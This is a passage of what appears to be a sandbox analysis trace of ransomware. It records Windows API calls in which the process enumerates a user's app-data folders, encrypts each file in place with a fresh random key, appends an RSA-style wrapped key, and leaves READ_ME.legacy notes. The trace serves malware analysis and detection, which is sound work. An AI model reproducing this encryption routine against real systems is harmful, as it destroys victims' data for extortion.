dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0193.253] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.253] ReadFile (in: hFile=0x1bd8, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.253] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.253] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.253] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.253] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.253] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.254] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.254] CloseHandle (hObject=0x1bd8) returned 1 [0193.255] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.255] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.255] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835", dwFileAttributes=0x80) returned 1 [0193.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\1504704835" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\1504704835"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0193.285] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=55440) returned 1 [0193.285] ReadFile (in: hFile=0x1bd8, lpBuffer=0x30d7038, nNumberOfBytesToRead=0xd890, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0xd890, lpOverlapped=0x0) returned 1 [0193.287] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=-55440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.287] WriteFile (in: hFile=0x1bd8, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0xd890, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd890, lpOverlapped=0x0) returned 1 [0193.287] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd890 [0193.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.287] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.288] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.288] CloseHandle (hObject=0x1bd8) returned 1 [0193.289] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4370 [0193.289] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.289] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdafe440a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xdafe440a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xdb07ce8a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xc92, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504711307", cAlternateFileName="150471~1")) returned 1 [0193.289] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc89e0c44, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9beea90d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.289] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb02fbe, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x9beea90d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.289] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.290] FindNextFileW (in: hFindFile=0x30d4370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.290] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0193.297] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.297] ReadFile (in: hFile=0x1bdc, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.298] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.298] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.298] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.298] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.299] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.299] CloseHandle (hObject=0x1bdc) returned 1 [0193.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0193.301] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.301] ReadFile (in: hFile=0x1bdc, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.301] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.301] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.302] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.302] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.303] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.303] CloseHandle (hObject=0x1bdc) returned 1 [0193.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.304] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307", dwFileAttributes=0x80) returned 1 [0193.305] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\1504711307"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bdc [0193.305] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3218) returned 1 [0193.305] ReadFile (in: hFile=0x1bdc, lpBuffer=0x582160, nNumberOfBytesToRead=0xc92, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0xc92, lpOverlapped=0x0) returned 1 [0193.306] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=-3218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.306] WriteFile (in: hFile=0x1bdc, lpBuffer=0x2f6b898*, nNumberOfBytesToWrite=0xc92, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b898*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc92, lpOverlapped=0x0) returned 1 [0193.306] SetFilePointer (in: hFile=0x1bdc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc92 [0193.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.307] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.307] WriteFile (in: hFile=0x1bdc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.307] CloseHandle (hObject=0x1bdc) returned 1 [0193.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d44f0 [0193.308] FindNextFileW (in: hFindFile=0x30d44f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.309] FindNextFileW (in: hFindFile=0x30d44f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb63fd86, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfb63fd86, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.309] FindNextFileW (in: hFindFile=0x30d44f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb63fd86, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xa96e116a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.309] FindNextFileW (in: hFindFile=0x30d44f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.309] FindNextFileW (in: hFindFile=0x30d44f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdd9118, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.309] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.309] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be0 [0193.310] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.310] ReadFile (in: hFile=0x1be0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.310] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.310] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.310] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.310] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.311] WriteFile (in: hFile=0x1be0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.311] CloseHandle (hObject=0x1be0) returned 1 [0193.312] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.313] SetFileAttributesW 